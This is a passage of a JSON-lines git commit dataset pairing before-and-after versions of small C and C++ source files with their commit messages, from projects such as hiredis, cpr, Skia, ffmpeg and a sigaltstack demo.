pp-ios,Ben21hao\/edx-app-ios-enterprise-new,keyeMyria\/edx-app-ios,appsembler\/edx-app-ios,nagyistoce\/edx-app-ios,adoosii\/edx-app-ios,Ben21hao\/edx-app-ios-new,knehez\/edx-app-ios,Ben21hao\/edx-app-ios-new,lovehhf\/edx-app-ios"} {"commit":"d695d87aaabe6bb8e2ca2ba8f1db45d4a62dc7c9","old_file":"FUState.h","new_file":"FUState.h","old_contents":"#ifndef FUSTATE_H\n#define FUSTATE_H\n#include \n#include \n#include \n#include \nclass FUStateManager;\n\nclass FUState\n{\npublic:\n struct FUContext\n {\n FUContext(std::shared_ptr window)\n : renderWindow(window) {}\n std::shared_ptr renderWindow;\n };\n\npublic:\n FUState(FUContext context);\n virtual ~FUState();\n virtual void handleEvent(sf::Event &event);\n virtual void update(sf::Time dt);\n virtual void draw();\n virtual void pause();\n virtual void resume();\n\nprotected:\n bool mIsPaused;\n};\n\n#endif \/\/ FUSTATE_H\n","new_contents":"#ifndef FUSTATE_H\n#define FUSTATE_H\n#include \n#include \n#include \n#include \n\nclass FUState\n{\npublic:\n struct FUContext\n {\n FUContext(std::shared_ptr window)\n : renderWindow(window) {}\n std::shared_ptr renderWindow;\n };\n\npublic:\n FUState(FUContext context);\n virtual ~FUState();\n virtual void handleEvent(sf::Event &event);\n virtual void update(sf::Time dt);\n virtual void draw();\n virtual void pause();\n virtual void resume();\n\nprotected:\n bool mIsPaused;\n};\n\n#endif \/\/ FUSTATE_H\n","subject":"Delete an unnecessary forward decleration","message":"Delete an unnecessary forward decleration\n","lang":"C","license":"unlicense","repos":"Furkanzmc\/StateManager"} {"commit":"94ed2e430b1180c296f7dcb327296c64d6260daa","old_file":"fmacros.h","new_file":"fmacros.h","old_contents":"#ifndef __HIREDIS_FMACRO_H\n#define __HIREDIS_FMACRO_H\n\n#if defined(__linux__)\n#define _BSD_SOURCE\n#define _DEFAULT_SOURCE\n#endif\n\n#if defined(__CYGWIN__)\n#include \n#endif\n\n#if defined(__sun__)\n#define _POSIX_C_SOURCE 200112L\n#else\n#if !(defined(__APPLE__) && defined(__MACH__)) && !(defined(__FreeBSD__))\n#define _XOPEN_SOURCE 600\n#endif\n#endif\n\n#if defined(__APPLE__) && defined(__MACH__)\n#define _OSX\n#endif\n\n#endif\n","new_contents":"#ifndef __HIREDIS_FMACRO_H\n#define __HIREDIS_FMACRO_H\n\n#if defined(__linux__)\n#define _BSD_SOURCE\n#define _DEFAULT_SOURCE\n#endif\n\n#if defined(__CYGWIN__)\n#include \n#endif\n\n#if defined(__linux__) || defined(__OpenBSD__) || defined(__NetBSD__)\n#define _XOPEN_SOURCE 600\n#elif defined(__APPLE__) && defined(__MACH__)\n#define _XOPEN_SOURCE\n#elif defined(__FreeBSD__)\n\/\/ intentionally left blank, don't define _XOPEN_SOURCE\n#else\n#define _XOPEN_SOURCE\n#endif\n\n#if defined(__sun__)\n#define _POSIX_C_SOURCE 200112L\n#endif\n\n#if defined(__APPLE__) && defined(__MACH__)\n#define _OSX\n#endif\n\n#endif\n","subject":"Make XOPEN_SOURCE definition explicit per architecture","message":"Make XOPEN_SOURCE definition explicit per architecture\n\nFixes #441\n","lang":"C","license":"bsd-3-clause","repos":"charsyam\/hiredis,redis\/hiredis,thomaslee\/hiredis,jinguoli\/hiredis,jinguoli\/hiredis,jinguoli\/hiredis,redis\/hiredis,thomaslee\/hiredis,redis\/hiredis,charsyam\/hiredis"} {"commit":"33ce733a70bf89570454a161a64adb56da57a0f3","old_file":"Settings\/Tabs\/SettingsTab.h","new_file":"Settings\/Tabs\/SettingsTab.h","old_contents":"#pragma once\n\n#include \"..\/Controls\/Controls.h\"\n#include \"..\/Controls\/TabPage.h\"\n\n\/\/\/ \n\/\/\/ Abstract class that encapsulates functionality for dealing with\n\/\/\/ property sheet pages (tabs).\n\/\/\/ <\/summary>\nclass SettingsTab : public TabPage {\npublic:\n SettingsTab(HINSTANCE hInstance, LPCWSTR tabTemplate, LPCWSTR title = L\"\");\n ~SettingsTab();\n\n \/\/\/ Processes messages sent to the tab page.<\/summary>\n virtual INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg,\n WPARAM wParam, LPARAM lParam);\n\n \/\/\/ Persists changes made on the tab page<\/summary>\n virtual void SaveSettings() = 0;\n\nprotected:\n \/\/\/ \n \/\/\/ Performs intitialization for the tab page, similar to a constructor.\n \/\/\/ Since tab page windows are created on demand, this method could be\n \/\/\/ called much later than the constructor for the tab.\n \/\/\/ <\/summary>\n virtual void Initialize() = 0;\n\n \/\/\/ Applies the current settings state to the tab page.<\/summary>\n virtual void LoadSettings() = 0;\n};","new_contents":"#pragma once\n\n#include \"..\/Controls\/Controls.h\"\n#include \"..\/Controls\/TabPage.h\"\n#include \"..\/resource.h\"\n\n\/\/\/ \n\/\/\/ Abstract class that encapsulates functionality for dealing with\n\/\/\/ property sheet pages (tabs).\n\/\/\/ <\/summary>\nclass SettingsTab : public TabPage {\npublic:\n SettingsTab(HINSTANCE hInstance, LPCWSTR tabTemplate, LPCWSTR title = L\"\");\n ~SettingsTab();\n\n \/\/\/ Processes messages sent to the tab page.<\/summary>\n virtual INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg,\n WPARAM wParam, LPARAM lParam);\n\n \/\/\/ Persists changes made on the tab page<\/summary>\n virtual void SaveSettings() = 0;\n\nprotected:\n \/\/\/ \n \/\/\/ Performs intitialization for the tab page, similar to a constructor.\n \/\/\/ Since tab page windows are created on demand, this method could be\n \/\/\/ called much later than the constructor for the tab.\n \/\/\/ <\/summary>\n virtual void Initialize() = 0;\n\n \/\/\/ Applies the current settings state to the tab page.<\/summary>\n virtual void LoadSettings() = 0;\n};","subject":"Include dialog resources to make things easier","message":"Include dialog resources to make things easier\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"} {"commit":"1faf4681396ca217899ace40a2b60b04a2a8e3c3","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef THM_CONFIG_HG\n#define THM_CONFIG_HG\n\n\/\/ Vertex ID type\n\/\/ # of vertices < MAX(thm_Vid)\ntypedef unsigned long thm_Vid;\n\n\/\/ Arc reference type\n\/\/ # of arcs in any digraph <= MAX(thm_Arcref)\ntypedef unsigned long thm_Arcref;\n\n\/\/ Block label type\n\/\/ # of blocks < MAX(thm_Blklab)\ntypedef unsigned long thm_Blklab;\n\n#endif\n","new_contents":"#ifndef THM_CONFIG_HG\n#define THM_CONFIG_HG\n\n\/\/ Block label type (must be unsigned)\n\/\/ # of blocks <= MAX(thm_Blklab)\ntypedef uint32_t thm_Blklab;\n\n#endif\n","subject":"Move typedef to digraph header","message":"Move typedef to digraph header\n","lang":"C","license":"lgpl-2.1","repos":"fsavje\/scclust,fsavje\/scclust,fsavje\/scclust"} {"commit":"e8a46c51e607caedec168f26c73595fed10b3afb","old_file":"lib\/shared\/mem.h","new_file":"lib\/shared\/mem.h","old_contents":"#ifndef MEM_H__\n#define MEM_H__\n\n#include \n\nvoid *xmalloc (size_t size);\nvoid *xcalloc (size_t count, size_t size);\nvoid *xrealloc (void *ptr, size_t size);\nchar *xstralloc (size_t len);\nvoid *xmemdupz (const void *data, size_t len);\nchar *xstrndup (const char *str, size_t len);\nvoid xfree (void *ptr);\n\nvoid xmemreport (void);\n\n#endif \/* MEM_H__ *\/\n\n\/*\n Local Variables:\n mode: C\n tab-width: 2\n indent-tabs-mode: nil\n End:\n vim: sw=2:sts=2:expandtab\n*\/\n","new_contents":"#ifndef MEM_H__\n#define MEM_H__\n\n#include \n\nvoid *xmalloc (size_t size);\nvoid *xcalloc (size_t count, size_t size);\nvoid *xrealloc (void *ptr, size_t size);\nchar *xstralloc (size_t len);\nvoid *xmemdupz (const void *data, size_t len);\nchar *xstrndup (const char *str, size_t len);\nvoid xfree (void *ptr);\n\nsize_t xmembytes();\nsize_t xmemnew();\nsize_t xmemfreed();\nvoid xmemreport (void);\n\n#endif \/* MEM_H__ *\/\n\n\/*\n Local Variables:\n mode: C\n tab-width: 2\n indent-tabs-mode: nil\n End:\n vim: sw=2:sts=2:expandtab\n*\/\n","subject":"Add report functions for x*()","message":"Add report functions for x*()\n\nSigned-off-by: Olivier Mehani <9858fe98d2c7f5f35e0d2a08f134cfc58afd42d3@nicta.com.au>\n","lang":"C","license":"mit","repos":"lees0414\/EUproject,mytestbed\/oml,mytestbed\/oml,lees0414\/EUproject,alco90\/soml,alco90\/soml,lees0414\/EUproject,lees0414\/EUproject,mytestbed\/oml,mytestbed\/oml,alco90\/soml,alco90\/soml,mytestbed\/oml,lees0414\/EUproject,alco90\/soml"} {"commit":"ee3a5993668d17a478a4e1ec7edd2f706b5bdfce","old_file":"include\/cpr\/body.h","new_file":"include\/cpr\/body.h","old_contents":"#ifndef CPR_BODY_H\n#define CPR_BODY_H\n\n#include \n\n#include \n#include \n\n#include \"defines.h\"\n\nnamespace cpr {\n\nclass Body : public std::string {\n public:\n Body() = default;\n Body(const Body& rhs) = default;\n Body(Body&& rhs) = default;\n Body& operator=(const Body& rhs) = default;\n Body& operator=(Body&& rhs) = default;\n explicit Body(const char* raw_string) : std::string(raw_string) {}\n explicit Body(const char* raw_string, size_t length) : std::string(raw_string, length) {}\n explicit Body(size_t to_fill, char character) : std::string(to_fill, character) {}\n explicit Body(const std::string& std_string) : std::string(std_string) {}\n explicit Body(const std::string& std_string, size_t position, size_t length = std::string::npos)\n : std::string(std_string, position, length) {}\n explicit Body(std::initializer_list il) : std::string(il) {}\n template \n explicit Body(InputIterator first, InputIterator last)\n : std::string(first, last) {}\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_BODY_H\n#define CPR_BODY_H\n\n#include \n\n#include \n#include \n\n#include \"defines.h\"\n\nnamespace cpr {\n\nclass Body : public std::string {\n public:\n Body() = default;\n Body(const Body& rhs) = default;\n Body(Body&& rhs) = default;\n Body& operator=(const Body& rhs) = default;\n Body& operator=(Body&& rhs) = default;\n explicit Body(const char* raw_string) : std::string(raw_string) {}\n explicit Body(const char* raw_string, size_t length) : std::string(raw_string, length) {}\n explicit Body(size_t to_fill, char character) : std::string(to_fill, character) {}\n explicit Body(const std::string& std_string) : std::string(std_string) {}\n explicit Body(const std::string& std_string, size_t position, size_t length = std::string::npos)\n : std::string(std_string, position, length) {}\n explicit Body(std::string&& std_string) : std::string(std::move(std_string)) {}\n explicit Body(std::initializer_list il) : std::string(il) {}\n template \n explicit Body(InputIterator first, InputIterator last)\n : std::string(first, last) {}\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Move constructor from std::string for cpr::Body","message":"Move constructor from std::string for cpr::Body\n\nCurrently it uses only copy-stors.","lang":"C","license":"mit","repos":"whoshuu\/cpr,whoshuu\/cpr,whoshuu\/cpr"} {"commit":"b1de9c948f9794db97ed7d34b8cbcdccc206ea77","old_file":"src\/gallium\/drivers\/nv30\/nv30_clear.c","new_file":"src\/gallium\/drivers\/nv30\/nv30_clear.c","old_contents":"#include \"pipe\/p_context.h\"\n#include \"pipe\/p_defines.h\"\n#include \"pipe\/p_state.h\"\n\n#include \"nv30_context.h\"\n\nvoid\nnv30_clear(struct pipe_context *pipe, struct pipe_surface *ps,\n\t unsigned clearValue)\n{\n\tpipe->surface_fill(pipe, ps, 0, 0, ps->width, ps->height, clearValue);\n}\n","new_contents":"#include \"pipe\/p_context.h\"\n#include \"pipe\/p_defines.h\"\n#include \"pipe\/p_state.h\"\n\n#include \"nv30_context.h\"\n\nvoid\nnv30_clear(struct pipe_context *pipe, struct pipe_surface *ps,\n\t unsigned clearValue)\n{\n\tpipe->surface_fill(pipe, ps, 0, 0, ps->width, ps->height, clearValue);\n\tps->status = PIPE_SURFACE_STATUS_CLEAR;\n}\n","subject":"Set pipe status on clear","message":"nv30: Set pipe status on clear\n","lang":"C","license":"mit","repos":"metora\/MesaGLSLCompiler,dellis1972\/glsl-optimizer,mcanthony\/glsl-optimizer,KTXSoftware\/glsl2agal,mcanthony\/glsl-optimizer,tokyovigilante\/glsl-optimizer,adobe\/glsl2agal,tokyovigilante\/glsl-optimizer,wolf96\/glsl-optimizer,bkaradzic\/glsl-optimizer,zz85\/glsl-optimizer,djreep81\/glsl-optimizer,djreep81\/glsl-optimizer,benaadams\/glsl-optimizer,zeux\/glsl-optimizer,benaadams\/glsl-optimizer,benaadams\/glsl-optimizer,zz85\/glsl-optimizer,zeux\/glsl-optimizer,dellis1972\/glsl-optimizer,adobe\/glsl2agal,wolf96\/glsl-optimizer,benaadams\/glsl-optimizer,tokyovigilante\/glsl-optimizer,tokyovigilante\/glsl-optimizer,KTXSoftware\/glsl2agal,wolf96\/glsl-optimizer,bkaradzic\/glsl-optimizer,adobe\/glsl2agal,jbarczak\/glsl-optimizer,adobe\/glsl2agal,bkaradzic\/glsl-optimizer,wolf96\/glsl-optimizer,djreep81\/glsl-optimizer,bkaradzic\/glsl-optimizer,zeux\/glsl-optimizer,metora\/MesaGLSLCompiler,zeux\/glsl-optimizer,KTXSoftware\/glsl2agal,jbarczak\/glsl-optimizer,dellis1972\/glsl-optimizer,mapbox\/glsl-optimizer,metora\/MesaGLSLCompiler,dellis1972\/glsl-optimizer,mcanthony\/glsl-optimizer,dellis1972\/glsl-optimizer,mcanthony\/glsl-optimizer,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,KTXSoftware\/glsl2agal,benaadams\/glsl-optimizer,benaadams\/glsl-optimizer,djreep81\/glsl-optimizer,djreep81\/glsl-optimizer,mapbox\/glsl-optimizer,zz85\/glsl-optimizer,bkaradzic\/glsl-optimizer,tokyovigilante\/glsl-optimizer,mcanthony\/glsl-optimizer,wolf96\/glsl-optimizer,jbarczak\/glsl-optimizer,zz85\/glsl-optimizer,adobe\/glsl2agal,zz85\/glsl-optimizer,jbarczak\/glsl-optimizer,mapbox\/glsl-optimizer,zz85\/glsl-optimizer,mapbox\/glsl-optimizer,KTXSoftware\/glsl2agal,jbarczak\/glsl-optimizer"} {"commit":"22c6aa126d7d88b4e19c64418aeecdc6cc032233","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 85\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 86\n#endif\n","subject":"Update Skia milestone to 86","message":"Update Skia milestone to 86\n\nChange-Id: Id81c58007f74816a8c2ac0831d61c041c5a7468c\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/298916\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia"} {"commit":"03186dd5ad61d9d9bc366ec5e23e313910ddb48f","old_file":"sigaltstack.c","new_file":"sigaltstack.c","old_contents":"#include \n#include \n#include \n#include \n#include \n#include \n\njmp_buf try;\n\nvoid handler(int sig) {\n static int i = 0;\n\n write(2, \"stack overflow\\n\", 15);\n longjmp(try, ++i);\n _exit(1);\n}\n\nunsigned recurse(unsigned x) {\n return recurse(x)+1; \n}\n\nint main() {\n static char stack[SIGSTKSZ];\n stack_t ss = {\n .ss_size = SIGSTKSZ,\n .ss_sp = stack,\n };\n struct sigaction sa = {\n .sa_handler = handler,\n .sa_flags = SA_ONSTACK\n };\n\n sigaltstack(&ss, 0);\n sigfillset(&sa.sa_mask);\n sigaction(SIGSEGV, &sa, 0);\n if (setjmp(try) < 3) {\n recurse(0);\n } else {\n printf(\"caught exception!\\n\"); \n }\n\n return 0;\n}\n","new_contents":"#include \n#include \n#include \n#include \n#include \n#include \n\njmp_buf try;\n\nvoid handler(int sig) {\n static int i = 0;\n\n write(2, \"stack overflow\\n\", 15);\n longjmp(try, ++i);\n _exit(1);\n}\n\nunsigned recurse(unsigned x) {\n return recurse(x)+1; \n}\n\nint main() {\n char* stack;\n stack = malloc(sizeof(stack) * SIGSTKSZ);\n stack_t ss = {\n .ss_size = SIGSTKSZ,\n .ss_sp = stack,\n };\n struct sigaction sa = {\n .sa_handler = handler,\n .sa_flags = SA_ONSTACK\n };\n\n sigaltstack(&ss, 0);\n sigfillset(&sa.sa_mask);\n sigaction(SIGSEGV, &sa, 0);\n if (setjmp(try) < 3) {\n recurse(0);\n } else {\n printf(\"caught exception!\\n\"); \n }\n\n return 0;\n}\n","subject":"Put alternate stack on heap","message":"Put alternate stack on heap\n","lang":"C","license":"apache-2.0","repos":"danluu\/setjmp-longjmp-ucontext-snippets,danluu\/setjmp-longjmp-ucontext-snippets"} {"commit":"4222e15ceb2f64cbc517d8290d2c8fb7c2a6b178","old_file":"include\/patts\/admin.h","new_file":"include\/patts\/admin.h","old_contents":"\/*\n * libpatts - Backend library for PATTS Ain't Time Tracking Software\n * Copyright (C) 2014 Delwink, LLC\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see .\n *\/\n\n#ifndef DELWINK_PATTS_ADMIN_H\n#define DELWINK_PATTS_ADMIN_H\n\n#include \n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nint patts_create_user(const struct dlist *info, const char *host,\n const char *passwd);\nint patts_create_task(const struct dlist *info);\n\nint patts_enable_user(const char *id);\nint patts_enable_task(const char *id);\n\nint patts_disable_user(const char *id);\nint patts_disable_task(const char *id);\n\nint patts_grant_admin(const char *id);\nint patts_revoke_admin(const char *id);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/*\n * libpatts - Backend library for PATTS Ain't Time Tracking Software\n * Copyright (C) 2014 Delwink, LLC\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see .\n *\/\n\n#ifndef DELWINK_PATTS_ADMIN_H\n#define DELWINK_PATTS_ADMIN_H\n\n#include \n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nint patts_create_user(const struct dlist *info, const char *host,\n const char *passwd);\nint patts_create_task(const struct dlist *info);\n\nint patts_delete_user(const char *id);\nint patts_delete_task(const char *id);\n\nint patts_grant_admin(const char *id);\nint patts_revoke_admin(const char *id);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Change scope of state column","message":"Change scope of state column\n","lang":"C","license":"agpl-3.0","repos":"delwink\/libpatts,delwink\/libpatts"} {"commit":"e6afdae011102bc110d072c33e2704bccc7cc6e4","old_file":"utils.h","new_file":"utils.h","old_contents":"#ifndef UTILS_H\n#define UTILS_H\n\n#include \n\n\/** \\brief Convert given container to it's hex representation *\/\ntemplate< typename T >\nstd::string toHex( const T& data )\n{\n static const char charTable[] = \"0123456789abcdef\";\n\n std::string ret;\n if ( data.size() > 1024 )\n {\n ret = \"*** LARGE *** \";\n for ( size_t i=0; i<40; i++ )\n {\n ret.push_back( charTable[ ( data[i] >> 4 ) & 0xF ] );\n ret.push_back( charTable[ ( data[i] >> 0 ) & 0xF ] );\n }\n\n ret.append(\"...\");\n\n for ( size_t i=data.size()-40; i> 4 ) & 0xF ] );\n ret.push_back( charTable[ ( data[i] >> 0 ) & 0xF ] );\n }\n }\n else\n {\n for ( const auto& val: data )\n {\n ret.push_back( charTable[ ( val >> 4 ) & 0xF ] );\n ret.push_back( charTable[ ( val >> 0 ) & 0xF ] );\n }\n }\n return ret;\n}\n\n\n#endif \/\/ UTILS_H\n","new_contents":"#ifndef UTILS_H\n#define UTILS_H\n\n#include \n\n\/** \\brief Convert given container to it's hex representation *\/\ntemplate< typename T >\nstd::string toHex( const T& data )\n{\n static const char charTable[] = \"0123456789abcdef\";\n\n std::string ret;\n if ( data.size() > 80 )\n {\n ret = \"*** LARGE *** \";\n for ( size_t i=0; i<40; i++ )\n {\n ret.push_back( charTable[ ( data[i] >> 4 ) & 0xF ] );\n ret.push_back( charTable[ ( data[i] >> 0 ) & 0xF ] );\n }\n\n ret.append(\"...\");\n\n for ( size_t i=data.size()-40; i> 4 ) & 0xF ] );\n ret.push_back( charTable[ ( data[i] >> 0 ) & 0xF ] );\n }\n }\n else\n {\n for ( const auto& val: data )\n {\n ret.push_back( charTable[ ( val >> 4 ) & 0xF ] );\n ret.push_back( charTable[ ( val >> 0 ) & 0xF ] );\n }\n }\n return ret;\n}\n\n\n#endif \/\/ UTILS_H\n","subject":"Make the hex dump size limit much smaller","message":"Make the hex dump size limit much smaller\n","lang":"C","license":"bsd-3-clause","repos":"cinode\/cpptestapp,cinode\/cpptestapp"} {"commit":"67b7a13204c1505a59351de0d25eeeb51fc93e89","old_file":"uranus_dp\/include\/uranus_dp\/vortex_helper.h","new_file":"uranus_dp\/include\/uranus_dp\/vortex_helper.h","old_contents":"","new_contents":"#ifndef VORTEX_HELPER_H\n#define VORTEX_HELPER_H\n\n#include \"uranus_dp\/control_mode_enum.h\"\n\ninline std::string controlModeString(ControlMode control_mode)\n{\n std::string s;\n switch(control_mode)\n {\n case ControlModes::OPEN_LOOP:\n s = \"Open Loop\";\n break;\n\n case ControlModes::SIXDOF:\n s = \"Six DOF\";\n break;\n\n case ControlModes::RPY_DEPTH:\n s = \"RPY Depth\";\n break;\n\n case ControlModes::DEPTH_HOLD:\n s = \"Depth Hold\";\n break;\n\n default:\n s = \"Invalid Control Mode\";\n break;\n }\n return s;\n}\n\n#endif\n","subject":"Write control mode to string function","message":"Write control mode to string function\n","lang":"C","license":"mit","repos":"vortexntnu\/rov-control,vortexntnu\/rov-control,vortexntnu\/rov-control"} {"commit":"ec43d9ca215e7e9f0ea782e26367d52c9468f7ff","old_file":"src\/lextest.c","new_file":"src\/lextest.c","old_contents":"#include \"config.h\"\n#include \n#include \n\n#include \"lexicon.h\"\n#include \"hash.h\"\n#include \"array.h\"\n#include \"util.h\"\n#include \"mem.h\"\n\nint main(int argc, char **argv)\n{\n lexicon_pt l=read_lexicon_file(argv[1]);\n char s[4000];\n \n printf(\"Read %ld lexical entries.\\n\", (long int)hash_size(l->words));\n while (fgets(s, 1000, stdin))\n {\n word_pt w;\n int i, sl=strlen(s);\n\n for (sl--; sl>=0 && s[sl]=='\\n'; sl--) { s[sl]='\\0'; }\n w=hash_get(l->words, s);\n if (!w) { printf(\"No such word \\\"%s\\\".\\n\", s); continue; }\n\n printf(\"%s[%d,%s]:\", s, w->defaulttag, tagname(l, w->defaulttag));\n for (i=0; w->sorter[i]>0; i++)\n\t{\n\t printf(\"\\t%s %d\", (char *)array_get(l->tags, w->sorter[i]), w->tagcount[w->sorter[i]]);\n\t}\n printf(\"\\n\");\n }\n\n \/* Free the memory held by util.c. *\/\n util_teardown();\n}\n","new_contents":"#include \"config.h\"\n#include \n#include \n\n#include \"lexicon.h\"\n#include \"hash.h\"\n#include \"array.h\"\n#include \"util.h\"\n#include \"mem.h\"\n\nint main(int argc, char **argv)\n{\n lexicon_pt l=read_lexicon_file(argv[1]);\n char s[4000];\n \n printf(\"Read %ld lexical entries.\\n\", (long int)hash_size(l->words));\n while (fgets(s, 1000, stdin))\n {\n word_pt w;\n int i, sl=strlen(s);\n\n for (sl--; sl>=0 && s[sl]=='\\n'; sl--) { s[sl]='\\0'; }\n w=hash_get(l->words, s);\n if (!w) { printf(\"No such word \\\"%s\\\".\\n\", s); continue; }\n\n printf(\"%s[%d,%s]:\", s, w->defaulttag, tagname(l, w->defaulttag));\n for (i=0; w->sorter[i]>0; i++)\n\t{\n\t printf(\"\\t%s %d\", (char *)array_get(l->tags, w->sorter[i]), w->tagcount[w->sorter[i]]);\n\t}\n printf(\"\\n\");\n }\n\n \/* Free the memory held by util.c. *\/\n util_teardown();\n\n return 0;\n}\n","subject":"Return 0 from main as it should.","message":"Return 0 from main as it should.\n","lang":"C","license":"bsd-3-clause","repos":"giuliopaci\/acopost,giuliopaci\/acopost,giuliopaci\/acopost,giuliopaci\/acopost"} {"commit":"762f4e479e147e15cb8bed3fb0113e04279f87ae","old_file":"lib\/packet_queue.h","new_file":"lib\/packet_queue.h","old_contents":"#ifndef PACKET_QUEUE_H_INCLUDED__\n#define PACKET_QUEUE_H_INCLUDED__\n\n#include \"radio.h\"\n\n#include \n\n#define PACKET_QUEUE_SIZE 10\n\ntypedef struct\n{\n radio_packet_t * head;\n radio_packet_t * tail;\n radio_packet_t packets[PACKET_QUEUE_SIZE];\n} packet_queue_t;\n\nuint32_t packet_queue_init(packet_queue_t * queue);\n\nbool packet_queue_is_empty(packet_queue_t * queue);\n\nbool packet_queue_is_full(packet_queue_t * queue);\n\nuint32_t packet_queue_add(packet_queue_t * queue, radio_packet_t * packet);\n\nuint32_t packet_queue_get(packet_queue_t * queue, radio_packet_t ** packet);\n\n#endif\n","new_contents":"#ifndef PACKET_QUEUE_H_INCLUDED__\n#define PACKET_QUEUE_H_INCLUDED__\n\n#include \"radio.h\"\n\n#include \n\n#define PACKET_QUEUE_SIZE 10\n\ntypedef struct\n{\n uint32_t head;\n uint32_t tail;\n radio_packet_t packets[PACKET_QUEUE_SIZE];\n} packet_queue_t;\n\nuint32_t packet_queue_init(packet_queue_t * queue);\n\nbool packet_queue_is_empty(packet_queue_t * queue);\n\nbool packet_queue_is_full(packet_queue_t * queue);\n\nuint32_t packet_queue_add(packet_queue_t * queue, radio_packet_t * packet);\n\nuint32_t packet_queue_get(packet_queue_t * queue, radio_packet_t ** packet);\n\n#endif\n","subject":"Fix types of head and tail.","message":"Fix types of head and tail.\n","lang":"C","license":"bsd-3-clause","repos":"hlnd\/nrf51-simple-radio,hlnd\/nrf51-simple-radio"} {"commit":"2b7eda48618299374655d85ed355973c93d82201","old_file":"libavutil\/random_seed.h","new_file":"libavutil\/random_seed.h","old_contents":"\/*\n * Copyright (c) 2009 Baptiste Coudurier \n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#ifndef AVUTIL_RANDOM_SEED_H\n#define AVUTIL_RANDOM_SEED_H\n\n#include \n\n\/**\n * Gets a seed to use in conjuction with random functions.\n *\/\nuint32_t ff_random_get_seed(void);\n\n#endif \/* AVUTIL_RANDOM_SEED_H *\/\n","new_contents":"\/*\n * Copyright (c) 2009 Baptiste Coudurier \n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#ifndef AVUTIL_RANDOM_SEED_H\n#define AVUTIL_RANDOM_SEED_H\n\n#include \n\n\/**\n * Gets a seed to use in conjunction with random functions.\n *\/\nuint32_t ff_random_get_seed(void);\n\n#endif \/* AVUTIL_RANDOM_SEED_H *\/\n","subject":"Fix typo: 'conjuction' -> 'conjunction'.","message":"Fix typo: 'conjuction' -> 'conjunction'.\n\n\ngit-svn-id: a4d7c1866f8397a4106e0b57fc4fbf792bbdaaaf@17989 9553f0bf-9b14-0410-a0b8-cfaf0461ba5b\n","lang":"C","license":"lgpl-2.1","repos":"prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg"} {"commit":"952aaca3d7c3be9da8487e6316721a802ab5261b","old_file":"server\/tests\/stat-main.c","new_file":"server\/tests\/stat-main.c","old_contents":"\/* -*- Mode: C; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n Copyright (C) 2015 Red Hat, Inc.\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later 